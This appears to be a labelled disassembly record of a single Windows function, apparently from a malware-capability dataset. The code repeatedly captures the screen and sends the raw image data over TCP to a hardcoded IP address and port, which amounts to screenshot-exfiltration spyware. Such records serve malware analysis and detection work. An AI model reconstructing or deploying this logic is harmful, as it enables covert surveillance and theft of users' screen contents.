Function at 0x140001120
Capabilities:
Act as tcp client
Capture screenshot
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x260
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov ecx, 0x202
lea rdx, [rsp + 0xb0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, 2
mov edx, 1
mov ecx, ebx
mov r8d, 6
call qword [sym.imp.WS2_32.dll_socket]
lea rcx, str.4.228.228.55
mov word [rsp + 0x70], bx
mov r14, rax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, 0x3039
mov dword [rsp + 0x74], eax
call qword [sym.imp.WS2_32.dll_htons]
mov r8d, send
lea rdx, [rsp + 0x70]
mov rcx, r14
mov word [rsp + 0x72], ax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
js 0x140001466
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov rcx, rax
mov qword [rsp + 0x60], rax
mov r12, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r8d, dword [0x14000570c]
mov rcx, r12
mov edx, dword [0x140005710]
mov r15, rax
mov qword [rsp + 0x58], rax
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rdx, rax
mov qword [rsp + 0x68], rax
mov rcx, r15
mov r13, rax
call qword [sym.imp.GDI32.dll_SelectObject]
mov esi, dword [0x140005710]
xorps xmm0, xmm0
mov ecx, dword [0x14000570c]
xor ebx, ebx
mov dword [rsp + 0x84], esi
neg ecx
imul esi, dword [0x14000570c]
mov dword [rsp + 0x88], ecx
movdqu xmmword [rsp + 0x94], xmm0
mov dword [rsp + 0xa4], ebx
mov dword [rsp + 0x80], 0x28
shl esi, 2
movsxd rcx, esi
mov qword [rsp + 0x8c], 0x200001
call fcn.140001790
mov rbp, rax
mov eax, dword [0x14000570c]
xor r8d, r8d
mov r9d, dword [0x140005710]
xor edx, edx
mov dword [rsp + 0x40], 0xcc0020
mov rcx, r15
mov dword [rsp + 0x38], ebx
movabs rdi, 0x7fffffffffffffff
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], eax
call qword [sym.imp.GDI32.dll_BitBlt]
mov r9d, dword [0x14000570c]
lea rax, [rsp + 0x80]
mov dword [rsp + 0x30], ebx
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov rdx, r13
mov rcx, r15
mov qword [rsp + 0x20], rbp
call qword [sym.imp.GDI32.dll_GetDIBits]
test esi, esi
jle 0x140001327
nop word [rax + rax]
mov r8d, esi
movsxd rdx, ebx
sub r8d, ebx
add rdx, rbp
xor r9d, r9d
mov rcx, r14
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
js 0x140001304
add ebx, eax
cmp ebx, esi
jl 0x1400012e0
jmp 0x140001327
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Send_failed
call fcn.1400014d0
mov rcx, rax
lea rdx, [0x1400016b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x50]
call fcn.140001040
mov rbx, qword [rsp + 0x50]
movabs rax, 0x7fffffffff0bdbff
cmp rbx, rax
jge 0x14000134e
add rbx, 0xf42400
jmp 0x140001351
mov rbx, rdi
movabs r12, 0x4e94914f0000
movabs r13, 0x431bde82d7b634db
movabs r15, 0xb2f4fc0794908cf3
nop
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rdi, 0x989680
jne 0x140001391
imul rax, rcx, 0x64
jmp 0x140001402
cmp rdi, 0x16e3600
jne 0x1400013e4
mov rax, r15
imul rcx
lea r8, [rcx + rdx]
sar r8, 0x18
mov rax, r8
shr rax, 0x3f
add r8, rax
imul rax, r8, 0x16e3600
sub rcx, rax
mov rax, r15
imul rcx, rcx, 0x3b9aca00
imul rcx
lea rax, [rcx + rdx]
sar rax, 0x18
mov rcx, rax
shr rcx, 0x3f
add rax, rcx
imul rcx, r8, 0x3b9aca00
jmp 0x1400013ff
cqo
idiv rdi
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
imul rcx, rcx, 0x3b9aca00
add rax, rcx
cmp rax, rbx
jge 0x140001450
mov rcx, rbx
sub rcx, rax
cmp rcx, r12
jl 0x140001421
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x140001370
mov rax, r13
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x140001444
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x140001370
mov r15, qword [rsp + 0x58]
xor ebx, ebx
mov r12, qword [rsp + 0x60]
mov r13, qword [rsp + 0x68]
jmp 0x140001269
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Connection_failed
call fcn.1400014d0
mov rcx, rax
lea rdx, [0x1400016b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140001770
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret